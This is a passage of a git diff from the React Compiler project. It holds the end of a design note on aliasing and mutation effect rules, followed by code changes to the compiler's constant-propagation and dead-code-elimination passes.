+- Pushing an item onto an array modifies the array, but does not modify any items stored _within_ the array (unless the array has a reference to itself!)
+- Assigning a value to an object property modifies the object, but not any values stored in the object's other properties.
+
+This helps explain the distinction between Assign/Alias and Capture: Mutate only affects assign/alias but not captures.
+
+`MutateConditionally` is an alternative in which the mutation _may_ happen depending on the type of the value. The conditional variant is not generally used and included for completeness.
+
+
+
+#### MutateTransitiveConditionally (and MutateTransitive)
+
+`MutateTransitiveConditionally` represents an operation that may mutate _any_ aspect of a value, including reaching arbitrarily deep into nested values to mutate them. This is the default semantic for unknown functions — we have no idea what they do, so we assume that they are idempotent but may mutate any aspect of the mutable values that are passed to them.
+
+There is also `MutateTransitive` for completeness, but this is not generally used.
+
+### Side Effects
+
+Finally, there are a few effects that describe error, or potential error, conditions:
+
+- `MutateFrozen` is always an error, because it indicates known mutation of a value that should not be mutated.
+- `MutateGlobal` indicates known mutation of a global value, which is not safe during render. This effect is an error if reachable during render, but allowed if only reachable via an event handler or useEffect.
+- `Impure` indicates calling some other logic that is impure/side-effecting. This is an error if reachable during render, but allowed if only reachable via an event handler or useEffect.
+  - TODO: we could probably merge this and MutateGlobal
+- `Render` indicates a value that is not mutated, but is known to be called during render. It's used for a few particular places like JSX tags and JSX children, which we assume are accessed during render (while other props may be event handlers etc). This helps to detect more MutateGlobal/Impure effects and reject more invalid programs.
+
+
+## Rules
+
+### Mutation of Alias Mutates the Source Value
+
+```
+Alias a <- b
+Mutate a
+=>
+Mutate b
+```
+
+Example:
+
+```js
+const a = maybeIdentity(b); // Alias a <- b
+a.property = value; // a could be b, so this mutates b
+```
+
+### Mutation of Assignment Mutates the Source Value
+
+```
+Assign a <- b
+Mutate a
+=>
+Mutate b
+```
+
+Example:
+
+```js
+const a = b;
+a.property = value // a _is_ b, this mutates b
+```
+
+### Mutation of CreateFrom Mutates the Source Value
+
+```
+CreateFrom a <- b
+Mutate a
+=>
+Mutate b
+```
+
+Example:
+
+```js
+const a = b[index];
+a.property = value // the contents of b are transitively mutated
+```
+
+
+### Mutation of Capture Does *Not* Mutate the Source Value
+
+```
+Capture a <- b
+Mutate a
+!=>
+~Mutate b~
+```
+
+Example:
+
+```js
+const a = {};
+a.b = b;
+a.property = value; // mutates a, not b
+```
+
+### Mutation of Source Affects Alias, Assignment, CreateFrom, and Capture
+
+```
+Alias a <- b OR Assign a <- b OR CreateFrom a <- b OR Capture a <- b
+Mutate b
+=>
+Mutate a
+```
+
+A derived value changes when it's source value is mutated.
+
+Example:
+
+```js
+const x = {};
+const y = [x];
+x.y = true; // this changes the value within `y` ie mutates y
+```
+
+
+### TransitiveMutation of Alias, Assignment, CreateFrom, or Capture Mutates the Source
+
+```
+Alias a <- b OR Assign a <- b OR CreateFrom a <- b OR Capture a <- b
+MutateTransitive a
+=>
+MutateTransitive b
+```
+
+Remember, the intuition for a transitive mutation is that it's something that could traverse arbitrarily deep into an object and mutate whatever it finds. Imagine something that recurses into every nested object/array and sets `.field = value`. Given a function `mutate()` that does this, then:
+
+```js
+const a = b; // assign
+mutate(a); // clearly can transitively mutate b
+
+const a = maybeIdentity(b); // alias
+mutate(a); // clearly can transitively mutate b
+
+const a = b[index]; // createfrom
+mutate(a); // clearly can transitively mutate b
+
+const a = {};
+a.b = b; // capture
+mutate(a); // can transitively mutate b
+```
+
+### MaybeAlias makes mutation conditional
+
+Because we don't know for certain that the aliasing occurs, we consider the mutation conditional against the source.
+
+```
+MaybeAlias a <- b
+Mutate a
+=>
+MutateConditional b
+```
+
+### Freeze Does Not Freeze the Value
+
+Freeze does not freeze the value itself:
+
+```
+Create x
+Assign y <- x OR Alias y <- x OR CreateFrom y <- x OR Capture y <- x
+Freeze y
+!=>
+~Freeze x~
+```
+
+This means that subsequent mutations of the original value are valid:
+
+```
+Create x
+Assign y <- x OR Alias y <- x OR CreateFrom y <- x OR Capture y <- x
+Freeze y
+Mutate x
+=>
+Mutate x (mutation is ok)
+```
+
+As well as mutations through other assignments/aliases/captures/createfroms of the original value:
+
+```
+Create x
+Assign y <- x OR Alias y <- x OR CreateFrom y <- x OR Capture y <- x
+Freeze y
+Alias z <- x OR Capture z <- x OR CreateFrom z <- x OR Assign z <- x
+Mutate z
+=>
+Mutate x (mutation is ok)
+```
+
+### Freeze Freezes The Reference 
+
+Although freeze doesn't freeze the value, it does affect the reference. The reference cannot be used to mutate.
+
+Conditional mutations of the reference are no-ops:
+
+```
+Create x
+Assign y <- x OR Alias y <- x OR CreateFrom y <- x OR Capture y <- x
+Freeze y
+MutateConditional y
+=>
+(no mutation)
+```
+
+And known mutations of the reference are errors:
+
+```
+Create x
+Assign y <- x OR Alias y <- x OR CreateFrom y <- x OR Capture y <- x
+Freeze y
+MutateConditional y
+=>
+MutateFrozen y error=...
+```
+
+### Corollary: Transitivity of Assign/Alias/CreateFrom/Capture
+
+A key part of the inference model is inferring a signature for function expressions. The signature is a minimal set of effects that describes the publicly observable behavior of the function. This can include "global" effects like side effects (MutateGlobal/Impure) as well as mutations/aliasing of parameters and free variables.
+
+In order to determine the aliasing of params and free variables into each other and/or the return value, we may encounter chains of assign, alias, createfrom, and capture effects. For example:
+
+```js
+const f = (x) => {
+    const y = [x];  // capture y <- x
+    const z = y[0]; // createfrom z <- y
+    return z;     // assign return <- z
+}
+// <Effect> return <- x
+```
+
+In this example we can see that there should be some effect on `f` that tracks the flow of data from `x` into the return value. The key constraint is preserving the semantics around how local/transitive mutations of the destination would affect the source.
+
+#### Each of the effects is transitive with itself
+
+```
+Assign b <- a
+Assign c <- b
+=>
+Assign c <- a
+```
+
+```
+Alias b <- a
+Alias c <- b
+=>
+Alias c <- a
+```
+
+```
+CreateFrom b <- a
+CreateFrom c <- b
+=>
+CreateFrom c <- a
+```
+
+```
+Capture b <- a
+Capture c <- b
+=>
+Capture c <- a
+```
+
+#### Alias > Assign
+
+```
+Assign b <- a
+Alias c <- b
+=>
+Alias c <- a
+```
+
+```
+Alias b <- a
+Assign c <- b
+=>
+Alias c <- a
+```
+
+### CreateFrom > Assign/Alias
+
+Intuition: 
+
+```
+CreateFrom b <- a
+Alias c <- b OR Assign c <- b
+=>
+CreateFrom c <- a
+```
+
+```
+Alias b <- a OR Assign b <- a
+CreateFrom c <- b
+=>
+CreateFrom c <- a
+```
+
+### Capture > Assign/Alias
+
+Intuition: capturing means that a local mutation of the destination will not affect the source, so we preserve the capture.
+
+```
+Capture b <- a
+Alias c <- b OR Assign c <- b
+=>
+Capture c <- a
+```
+
+```
+Alias b <- a OR Assign b <- a
+Capture c <- b
+=>
+Capture c <- a
+```
+
+### Capture And CreateFrom
+
+Intuition: these effects are inverses of each other (capturing into an object, extracting from an object). The result is based on the order of operations:
+
+Capture then CreateFrom is equivalent to Alias: we have to assume that the result _is_ the original value and that a local mutation of the result could mutate the original.
+
+```js
+const b = [a]; // capture
+const c = b[0]; // createfrom
+mutate(c); // this clearly can mutate a, so the result must be one of Assign/Alias/CreateFrom 
+```
+
+We use Alias as the return type because the mutability kind of the result is not derived from the source value (there's a fresh object in between due to the capture), so the full set of effects in practice would be a Create+Alias.
+
+```
+Capture b <- a
+CreateFrom c <- b
+=>
+Alias c <- a
+```
+
+Meanwhile the opposite direction preserves the capture, because the result is not the same as the source:
+
+```js
+const b = a[0]; // createfrom
+const c = [b]; // capture
+mutate(c); // does not mutate a, so the result must be Capture
+```
+
+```
+CreateFrom b <- a
+Capture c <- b
+=>
+Capture c <- a
+```
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Inference/index.ts b/compiler/packages/babel-plugin-react-compiler/src/Inference/index.ts
index 96d6df455a91..6ff5a0c53bf4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/Inference/index.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/Inference/index.ts
@@ -5,9 +5,7 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-export { default as analyseFunctions } from "./AnalyseFunctions";
-export { dropManualMemoization } from "./DropManualMemoization";
-export { inferMutableRanges } from "./InferMutableRanges";
-export { inferReactivePlaces } from "./InferReactivePlaces";
-export { default as inferReferenceEffects } from "./InferReferenceEffects";
-export { inlineImmediatelyInvokedFunctionExpressions } from "./InlineImmediatelyInvokedFunctionExpressions";
+export {default as analyseFunctions} from './AnalyseFunctions';
+export {dropManualMemoization} from './DropManualMemoization';
+export {inferReactivePlaces} from './InferReactivePlaces';
+export {inlineImmediatelyInvokedFunctionExpressions} from './InlineImmediatelyInvokedFunctionExpressions';
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Optimization/ConstantPropagation.ts b/compiler/packages/babel-plugin-react-compiler/src/Optimization/ConstantPropagation.ts
index fd19369c2442..52a5a8b8c769 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/Optimization/ConstantPropagation.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/Optimization/ConstantPropagation.ts
@@ -5,10 +5,10 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { isValidIdentifier } from "@babel/types";
-import { CompilerError } from "../CompilerError";
+import {isValidIdentifier} from '@babel/types';
+import {CompilerError} from '../CompilerError';
 import {
-  Environment,
+  GeneratedSource,
   GotoVariant,
   HIRFunction,
   IdentifierId,
@@ -20,17 +20,18 @@ import {
   Primitive,
   assertConsistentIdentifiers,
   assertTerminalSuccessorsExist,
+  makePropertyLiteral,
   markInstructionIds,
   markPredecessors,
   mergeConsecutiveBlocks,
   reversePostorderBlocks,
-} from "../HIR";
+} from '../HIR';
 import {
   removeDeadDoWhileStatements,
   removeUnnecessaryTryCatch,
   removeUnreachableForUpdates,
-} from "../HIR/HIRBuilder";
-import { eliminateRedundantPhi } from "../SSA";
+} from '../HIR/HIRBuilder';
+import {eliminateRedundantPhi} from '../SSA';
 
 /*
  * Applies constant propagation/folding to the given function. The approach is
@@ -105,7 +106,7 @@ function constantPropagationImpl(fn: HIRFunction, constants: Constants): void {
 
 function applyConstantPropagation(
   fn: HIRFunction,
-  constants: Constants
+  constants: Constants,
 ): boolean {
   let hasChanges = false;
   for (const [, block] of fn.body.blocks) {
@@ -117,12 +118,12 @@ function applyConstantPropagation(
     for (const phi of block.phis) {
       let value = evaluatePhi(phi, constants);
       if (value !== null) {
-        constants.set(phi.id.id, value);
+        constants.set(phi.place.identifier.id, value);
       }
     }
 
     for (let i = 0; i < block.instructions.length; i++) {
-      if (block.kind === "sequence" && i === block.instructions.length - 1) {
+      if (block.kind === 'sequence' && i === block.instructions.length - 1) {
         /*
          * evaluating the last value of a value block can break order of evaluation,
          * skip these instructions
@@ -130,7 +131,7 @@ function applyConstantPropagation(
         continue;
       }
       const instr = block.instructions[i]!;
-      const value = evaluateInstruction(fn.env, constants, instr);
+      const value = evaluateInstruction(constants, instr);
       if (value !== null) {
         constants.set(instr.lvalue.identifier.id, value);
       }
@@ -138,15 +139,15 @@ function applyConstantPropagation(
 
     const terminal = block.terminal;
     switch (terminal.kind) {
-      case "if": {
+      case 'if': {
         const testValue = read(constants, terminal.test);
-        if (testValue !== null && testValue.kind === "Primitive") {
+        if (testValue !== null && testValue.kind === 'Primitive') {
           hasChanges = true;
           const targetBlockId = testValue.value
             ? terminal.consequent
             : terminal.alternate;
           block.terminal = {
-            kind: "goto",
+            kind: 'goto',
             variant: GotoVariant.Break,
             block: targetBlockId,
             id: terminal.id,
@@ -167,7 +168,7 @@ function applyConstantPropagation(
 function evaluatePhi(phi: Phi, constants: Constants): Constant | null {
   let value: Constant | null = null;
   for (const [, operand] of phi.operands) {
-    const operandValue = constants.get(operand.id) ?? null;
+    const operandValue = constants.get(operand.identifier.id) ?? null;
     // did not find a constant, can't constant propogate
     if (operandValue === null) {
       return null;
@@ -188,11 +189,10 @@ function evaluatePhi(phi: Phi, constants: Constants): Constant | null {
     }
 
     switch (operandValue.kind) {
-      case "Primitive": {
-        CompilerError.invariant(value.kind === "Primitive", {
-          reason: "value kind expected to be Primitive",
-          loc: null,
-          suggestions: null,
+      case 'Primitive': {
+        CompilerError.invariant(value.kind === 'Primitive', {
+          reason: 'value kind expected to be Primitive',
+          loc: GeneratedSource,
         });
 
         // different constant values, can't constant propogate
@@ -201,11 +201,10 @@ function evaluatePhi(phi: Phi, constants: Constants): Constant | null {
         }
         break;
       }
-      case "LoadGlobal": {
-        CompilerError.invariant(value.kind === "LoadGlobal", {
-          reason: "value kind expected to be LoadGlobal",
-          loc: null,
-          suggestions: null,
+      case 'LoadGlobal': {
+        CompilerError.invariant(value.kind === 'LoadGlobal', {
+          reason: 'value kind expected to be LoadGlobal',
+          loc: GeneratedSource,
         });
 
         // different global values, can't constant propogate
@@ -223,48 +222,49 @@ function evaluatePhi(phi: Phi, constants: Constants): Constant | null {
 }
 
 function evaluateInstruction(
-  env: Environment,
   constants: Constants,
-  instr: Instruction
+  instr: Instruction,
 ): Constant | null {
   const value = instr.value;
   switch (value.kind) {
-    case "Primitive": {
+    case 'Primitive': {
       return value;
     }
-    case "LoadGlobal": {
+    case 'LoadGlobal': {
       return value;
     }
-    case "ComputedLoad": {
+    case 'ComputedLoad': {
       const property = read(constants, value.property);
       if (
         property !== null &&
-        property.kind === "Primitive" &&
-        typeof property.value === "string" &&
-        isValidIdentifier(property.value)
+        property.kind === 'Primitive' &&
+        ((typeof property.value === 'string' &&
+          isValidIdentifier(property.value)) ||
+          typeof property.value === 'number')
       ) {
         const nextValue: InstructionValue = {
-          kind: "PropertyLoad",
+          kind: 'PropertyLoad',
           loc: value.loc,
-          property: property.value,
+          property: makePropertyLiteral(property.value),
           object: value.object,
         };
         instr.value = nextValue;
       }
       return null;
     }
-    case "ComputedStore": {
+    case 'ComputedStore': {
       const property = read(constants, value.property);
       if (
         property !== null &&
-        property.kind === "Primitive" &&
-        typeof property.value === "string" &&
-        isValidIdentifier(property.value)
+        property.kind === 'Primitive' &&
+        ((typeof property.value === 'string' &&
+          isValidIdentifier(property.value)) ||
+          typeof property.value === 'number')
       ) {
         const nextValue: InstructionValue = {
-          kind: "PropertyStore",
+          kind: 'PropertyStore',
           loc: value.loc,
-          property: property.value,
+          property: makePropertyLiteral(property.value),
           object: value.object,
           value: value.value,
         };
@@ -272,18 +272,18 @@ function evaluateInstruction(
       }
       return null;
     }
-    case "PostfixUpdate": {
+    case 'PostfixUpdate': {
       const previous = read(constants, value.value);
       if (
         previous !== null &&
-        previous.kind === "Primitive" &&
-        typeof previous.value === "number"
+        previous.kind === 'Primitive' &&
+        typeof previous.value === 'number'
       ) {
         const next =
-          value.operation === "++" ? previous.value + 1 : previous.value - 1;
+          value.operation === '++' ? previous.value + 1 : previous.value - 1;
         // Store the updated value
         constants.set(value.lvalue.identifier.id, {
-          kind: "Primitive",
+          kind: 'Primitive',
           value: next,
           loc: value.loc,
         });
@@ -292,17 +292,17 @@ function evaluateInstruction(
       }
       return null;
     }
-    case "PrefixUpdate": {
+    case 'PrefixUpdate': {
       const previous = read(constants, value.value);
       if (
         previous !== null &&
-        previous.kind === "Primitive" &&
-        typeof previous.value === "number"
+        previous.kind === 'Primitive' &&
+        typeof previous.value === 'number'
       ) {
         const next: Primitive = {
-          kind: "Primitive",
+          kind: 'Primitive',
           value:
-            value.operation === "++" ? previous.value + 1 : previous.value - 1,
+            value.operation === '++' ? previous.value + 1 : previous.value - 1,
           loc: value.loc,
         };
         // Store and return the updated value
@@ -311,13 +311,13 @@ function evaluateInstruction(
       }
       return null;
     }
-    case "UnaryExpression": {
+    case 'UnaryExpression': {
       switch (value.operator) {
-        case "!": {
+        case '!': {
           const operand = read(constants, value.value);
-          if (operand !== null && operand.kind === "Primitive") {
+          if (operand !== null && operand.kind === 'Primitive') {
             const result: Primitive = {
-              kind: "Primitive",
+              kind: 'Primitive',
               value: !operand.value,
               loc: value.loc,
             };
@@ -326,139 +326,156 @@ function evaluateInstruction(
           }
           return null;
         }
+        case '-': {
+          const operand = read(constants, value.value);
+          if (
+            operand !== null &&
+            operand.kind === 'Primitive' &&
+            typeof operand.value === 'number'
+          ) {
+            const result: Primitive = {
+              kind: 'Primitive',
+              value: operand.value * -1,
+              loc: value.loc,
+            };
+            instr.value = result;
+            return result;
+          }
+          return null;
+        }
         default:
           return null;
       }
     }
-    case "BinaryExpression": {
+    case 'BinaryExpression': {
       const lhsValue = read(constants, value.left);
       const rhsValue = read(constants, value.right);
       if (
         lhsValue !== null &&
         rhsValue !== null &&
-        lhsValue.kind === "Primitive" &&
-        rhsValue.kind === "Primitive"
+        lhsValue.kind === 'Primitive' &&
+        rhsValue.kind === 'Primitive'
       ) {
         const lhs = lhsValue.value;
         const rhs = rhsValue.value;
         let result: Primitive | null = null;
         switch (value.operator) {
-          case "+": {
-            if (typeof lhs === "number" && typeof rhs === "number") {
-              result = { kind: "Primitive", value: lhs + rhs, loc: value.loc };
-            } else if (typeof lhs === "string" && typeof rhs === "string") {
-              result = { kind: "Primitive", value: lhs + rhs, loc: value.loc };
+          case '+': {
+            if (typeof lhs === 'number' && typeof rhs === 'number') {
+              result = {kind: 'Primitive', value: lhs + rhs, loc: value.loc};
+            } else if (typeof lhs === 'string' && typeof rhs === 'string') {
+              result = {kind: 'Primitive', value: lhs + rhs, loc: value.loc};
             }
             break;
           }
-          case "-": {
-            if (typeof lhs === "number" && typeof rhs === "number") {
-              result = { kind: "Primitive", value: lhs - rhs, loc: value.loc };
+          case '-': {
+            if (typeof lhs === 'number' && typeof rhs === 'number') {
+              result = {kind: 'Primitive', value: lhs - rhs, loc: value.loc};
             }
             break;
           }
-          case "*": {
-            if (typeof lhs === "number" && typeof rhs === "number") {
-              result = { kind: "Primitive", value: lhs * rhs, loc: value.loc };
+          case '*': {
+            if (typeof lhs === 'number' && typeof rhs === 'number') {
+              result = {kind: 'Primitive', value: lhs * rhs, loc: value.loc};
             }
             break;
           }
-          case "/": {
-            if (typeof lhs === "number" && typeof rhs === "number") {
-              result = { kind: "Primitive", value: lhs / rhs, loc: value.loc };
+          case '/': {
+            if (typeof lhs === 'number' && typeof rhs === 'number') {
+              result = {kind: 'Primitive', value: lhs / rhs, loc: value.loc};
             }
             break;
           }
-          case "|": {
-            if (typeof lhs === "number" && typeof rhs === "number") {
-              result = { kind: "Primitive", value: lhs | rhs, loc: value.loc };
+          case '|': {
+            if (typeof lhs === 'number' && typeof rhs === 'number') {
+              result = {kind: 'Primitive', value: lhs | rhs, loc: value.loc};
             }
             break;
           }
-          case "&": {
-            if (typeof lhs === "number" && typeof rhs === "number") {
-              result = { kind: "Primitive", value: lhs & rhs, loc: value.loc };
+          case '&': {
+            if (typeof lhs === 'number' && typeof rhs === 'number') {
+              result = {kind: 'Primitive', value: lhs & rhs, loc: value.loc};
             }
             break;
           }
-          case "^": {
-            if (typeof lhs === "number" && typeof rhs === "number") {
-              result = { kind: "Primitive", value: lhs ^ rhs, loc: value.loc };
+          case '^': {
+            if (typeof lhs === 'number' && typeof rhs === 'number') {
+              result = {kind: 'Primitive', value: lhs ^ rhs, loc: value.loc};
             }
             break;
           }
-          case "<<": {
-            if (typeof lhs === "number" && typeof rhs === "number") {
-              result = { kind: "Primitive", value: lhs << rhs, loc: value.loc };
+          case '<<': {
+            if (typeof lhs === 'number' && typeof rhs === 'number') {
+              result = {kind: 'Primitive', value: lhs << rhs, loc: value.loc};
             }
             break;
           }
-          case ">>": {
-            if (typeof lhs === "number" && typeof rhs === "number") {
-              result = { kind: "Primitive", value: lhs >> rhs, loc: value.loc };
+          case '>>': {
+            if (typeof lhs === 'number' && typeof rhs === 'number') {
+              result = {kind: 'Primitive', value: lhs >> rhs, loc: value.loc};
             }
             break;
           }
-          case ">>>": {
-            if (typeof lhs === "number" && typeof rhs === "number") {
+          case '>>>': {
+            if (typeof lhs === 'number' && typeof rhs === 'number') {
               result = {
-                kind: "Primitive",
+                kind: 'Primitive',
                 value: lhs >>> rhs,
                 loc: value.loc,
               };
             }
             break;
           }
-          case "%": {
-            if (typeof lhs === "number" && typeof rhs === "number") {
-              result = { kind: "Primitive", value: lhs % rhs, loc: value.loc };
+          case '%': {
+            if (typeof lhs === 'number' && typeof rhs === 'number') {
+              result = {kind: 'Primitive', value: lhs % rhs, loc: value.loc};
             }
             break;
           }
-          case "**": {
-            if (typeof lhs === "number" && typeof rhs === "number") {
-              result = { kind: "Primitive", value: lhs ** rhs, loc: value.loc };
+          case '**': {
+            if (typeof lhs === 'number' && typeof rhs === 'number') {
+              result = {kind: 'Primitive', value: lhs ** rhs, loc: value.loc};
             }
             break;
           }
-          case "<": {
-            if (typeof lhs === "number" && typeof rhs === "number") {
-              result = { kind: "Primitive", value: lhs < rhs, loc: value.loc };
+          case '<': {
+            if (typeof lhs === 'number' && typeof rhs === 'number') {
+              result = {kind: 'Primitive', value: lhs < rhs, loc: value.loc};
             }
             break;
           }
-          case "<=": {
-            if (typeof lhs === "number" && typeof rhs === "number") {
-              result = { kind: "Primitive", value: lhs <= rhs, loc: value.loc };
+          case '<=': {
+            if (typeof lhs === 'number' && typeof rhs === 'number') {
+              result = {kind: 'Primitive', value: lhs <= rhs, loc: value.loc};
             }
             break;
           }
-          case ">": {
-            if (typeof lhs === "number" && typeof rhs === "number") {
-              result = { kind: "Primitive", value: lhs > rhs, loc: value.loc };
+          case '>': {
+            if (typeof lhs === 'number' && typeof rhs === 'number') {
+              result = {kind: 'Primitive', value: lhs > rhs, loc: value.loc};
             }
             break;
           }
-          case ">=": {
-            if (typeof lhs === "number" && typeof rhs === "number") {
-              result = { kind: "Primitive", value: lhs >= rhs, loc: value.loc };
+          case '>=': {
+            if (typeof lhs === 'number' && typeof rhs === 'number') {
+              result = {kind: 'Primitive', value: lhs >= rhs, loc: value.loc};
             }
             break;
           }
-          case "==": {
-            result = { kind: "Primitive", value: lhs == rhs, loc: value.loc };
+          case '==': {
+            result = {kind: 'Primitive', value: lhs == rhs, loc: value.loc};
             break;
           }
-          case "===": {
-            result = { kind: "Primitive", value: lhs === rhs, loc: value.loc };
+          case '===': {
+            result = {kind: 'Primitive', value: lhs === rhs, loc: value.loc};
             break;
           }
-          case "!=": {
-            result = { kind: "Primitive", value: lhs != rhs, loc: value.loc };
+          case '!=': {
+            result = {kind: 'Primitive', value: lhs != rhs, loc: value.loc};
             break;
           }
-          case "!==": {
-            result = { kind: "Primitive", value: lhs !== rhs, loc: value.loc };
+          case '!==': {
+            result = {kind: 'Primitive', value: lhs !== rhs, loc: value.loc};
             break;
           }
           default: {
@@ -472,16 +489,16 @@ function evaluateInstruction(
       }
       return null;
     }
-    case "PropertyLoad": {
+    case 'PropertyLoad': {
       const objectValue = read(constants, value.object);
       if (objectValue !== null) {
         if (
-          objectValue.kind === "Primitive" &&
-          typeof objectValue.value === "string" &&
-          value.property === "length"
+          objectValue.kind === 'Primitive' &&
+          typeof objectValue.value === 'string' &&
+          value.property === 'length'
         ) {
           const result: InstructionValue = {
-            kind: "Primitive",
+            kind: 'Primitive',
             value: objectValue.value.length,
             loc: value.loc,
           };
@@ -491,25 +508,105 @@ function evaluateInstruction(
       }
       return null;
     }
-    case "LoadLocal": {
+    case 'TemplateLiteral': {
+      if (value.subexprs.length === 0) {
+        const result: InstructionValue = {
+          kind: 'Primitive',
+          value: value.quasis.map(q => q.cooked).join(''),
+          loc: value.loc,
+        };
+        instr.value = result;
+        return result;
+      }
+
+      if (value.subexprs.length !== value.quasis.length - 1) {
+        return null;
+      }
+
+      if (value.quasis.some(q => q.cooked === undefined)) {
+        return null;
+      }
+
+      let quasiIndex = 0;
+      let resultString = value.quasis[quasiIndex].cooked as string;
+      ++quasiIndex;
+
+      for (const subExpr of value.subexprs) {
+        const subExprValue = read(constants, subExpr);
+        if (!subExprValue || subExprValue.kind !== 'Primitive') {
+          return null;
+        }
+
+        const expressionValue = subExprValue.value;
+        if (
+          typeof expressionValue !== 'number' &&
+          typeof expressionValue !== 'string' &&
+          typeof expressionValue !== 'boolean' &&
+          !(typeof expressionValue === 'object' && expressionValue === null)
+        ) {
+          // value is not supported (function, object) or invalid (symbol), or something else
+          return null;
+        }
+
+        const suffix = value.quasis[quasiIndex].cooked;
+        ++quasiIndex;
+
+        if (suffix === undefined) {
+          return null;
+        }
+
+        /*
+         * Spec states that concat calls ToString(argument) internally on its parameters
+         * -> we don't have to implement ToString(argument) ourselves and just use the engine implementation
+         * Refs:
+         *  - https://tc39.es/ecma262/2024/#sec-tostring
+         *  - https://tc39.es/ecma262/2024/#sec-string.prototype.concat
+         *  - https://tc39.es/ecma262/2024/#sec-template-literals-runtime-semantics-evaluation
+         */
+        resultString = resultString.concat(expressionValue as string, suffix);
+      }
+
+      const result: InstructionValue = {
+        kind: 'Primitive',
+        value: resultString,
+        loc: value.loc,
+      };
+
+      instr.value = result;
+      return result;
+    }
+    case 'LoadLocal': {
       const placeValue = read(constants, value.place);
       if (placeValue !== null) {
         instr.value = placeValue;
       }
       return placeValue;
     }
-    case "StoreLocal": {
+    case 'StoreLocal': {
       const placeValue = read(constants, value.value);
       if (placeValue !== null) {
         constants.set(value.lvalue.place.identifier.id, placeValue);
       }
       return placeValue;
     }
-    case "ObjectMethod":
-    case "FunctionExpression": {
+    case 'ObjectMethod':
+    case 'FunctionExpression': {
       constantPropagationImpl(value.loweredFunc.func, constants);
       return null;
     }
+    case 'StartMemoize': {
+      if (value.deps != null) {
+        for (const dep of value.deps) {
+          if (dep.root.kind === 'NamedLocal') {
+            const placeValue = read(constants, dep.root.value);
+            if (placeValue != null && placeValue.kind === 'Primitive') {
+              dep.root.constant = true;
+            }
+          }
+        }
+      }
+      return null;
+    }
     default: {
       // TODO: handle more cases
       return null;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Optimization/DeadCodeElimination.ts b/compiler/packages/babel-plugin-react-compiler/src/Optimization/DeadCodeElimination.ts
index ea6cc730258d..8b251e9966ce 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/Optimization/DeadCodeElimination.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/Optimization/DeadCodeElimination.ts
@@ -6,8 +6,9 @@
  */
 
 import {
-  ArrayPattern,
   BlockId,
+  Environment,
+  getHookKind,
   HIRFunction,
   Identifier,
   IdentifierId,
@@ -15,13 +16,13 @@ import {
   InstructionKind,
   InstructionValue,
   ObjectPattern,
-} from "../HIR";
+} from '../HIR';
 import {
   eachInstructionValueOperand,
   eachPatternOperand,
   eachTerminalOperand,
-} from "../HIR/visitors";
-import { assertExhaustive, retainWhere } from "../Utils/utils";
+} from '../HIR/visitors';
+import {assertExhaustive, retainWhere} from '../Utils/utils';
 
 /*
  * Implements dead-code elimination, eliminating instructions whose values are unused.
@@ -42,28 +43,41 @@ export function deadCodeElimination(fn: HIRFunction): void {
    */
   for (const [, block] of fn.body.blocks) {
     for (const phi of block.phis) {
-      if (!state.isIdOrNameUsed(phi.id)) {
+      if (!state.isIdOrNameUsed(phi.place.identifier)) {
         block.phis.delete(phi);
       }
     }
-    retainWhere(block.instructions, (instr) =>
-      state.isIdOrNameUsed(instr.lvalue.identifier)
+    retainWhere(block.instructions, instr =>
+      state.isIdOrNameUsed(instr.lvalue.identifier),
     );
     // Rewrite retained instructions
     for (let i = 0; i < block.instructions.length; i++) {
       const isBlockValue =
-        block.kind !== "block" && i === block.instructions.length - 1;
+        block.kind !== 'block' && i === block.instructions.length - 1;
       if (!isBlockValue) {
         rewriteInstruction(block.instructions[i], state);
       }
     }
   }
+
+  /**
+   * Constant propagation and DCE may have deleted or rewritten instructions
+   * that reference context variables.
+   */
+  retainWhere(fn.context, contextVar =>
+    state.isIdOrNameUsed(contextVar.identifier),
+  );
 }
 
 class State {
+  env: Environment;
   named: Set<string> = new Set();
   identifiers: Set<IdentifierId> = new Set();
 
+  constructor(env: Environment) {
+    this.env = env;
+  }
+
   // Mark the identifier as being referenced (not dead code)
   reference(identifier: Identifier): void {
     this.identifiers.add(identifier.id);
@@ -105,7 +119,7 @@ function findReferencedIdentifiers(fn: HIRFunction): State {
   const hasLoop = hasBackEdge(fn);
   const reversedBlocks = [...fn.body.blocks.values()].reverse();
 
-  const state = new State();
+  const state = new State(fn.env);
   let size = state.count;
   do {
     size = state.count;
@@ -122,7 +136,7 @@ function findReferencedIdentifiers(fn: HIRFunction): State {
       for (let i = block.instructions.length - 1; i >= 0; i--) {
         const instr = block.instructions[i]!;
         const isBlockValue =
-          block.kind !== "block" && i === block.instructions.length - 1;
+          block.kind !== 'block' && i === block.instructions.length - 1;
 
         if (isBlockValue) {
           /**
@@ -140,7 +154,7 @@ function findReferencedIdentifiers(fn: HIRFunction): State {
         ) {
           state.reference(instr.lvalue.identifier);
 
-          if (instr.value.kind === "StoreLocal") {
+          if (instr.value.kind === 'StoreLocal') {
             /*
              * If this is a Let/Const declaration, mark the initializer as referenced
              * only if the ssa'ed lval is also referenced
@@ -159,9 +173,9 @@ function findReferencedIdentifiers(fn: HIRFunction): State {
         }
       }
       for (const phi of block.phis) {
-        if (state.isIdOrNameUsed(phi.id)) {
+        if (state.isIdOrNameUsed(phi.place.identifier)) {
           for (const [_pred, operand] of phi.operands) {
-            state.reference(operand);
+            state.reference(operand.identifier);
           }
         }
       }
@@ -171,37 +185,36 @@ function findReferencedIdentifiers(fn: HIRFunction): State {
 }
 
 function rewriteInstruction(instr: Instruction, state: State): void {
-  if (instr.value.kind === "Destructure") {
+  if (instr.value.kind === 'Destructure') {
     // Remove unused lvalues
     switch (instr.value.lvalue.pattern.kind) {
-      case "ArrayPattern": {
+      case 'ArrayPattern': {
         /*
-         * For arrays, we can only eliminate unused items from the end of the array,
-         * so we iterate from the end and break once we find a used item. Note that
-         * we already know at least one item is used, from the pruneableValue check.
+         * For arrays, we can prune items prior to the end by replacing
+         * them with a hole. Items at the end can simply be dropped.
          */
-        let nextItems: ArrayPattern["items"] | null = null;
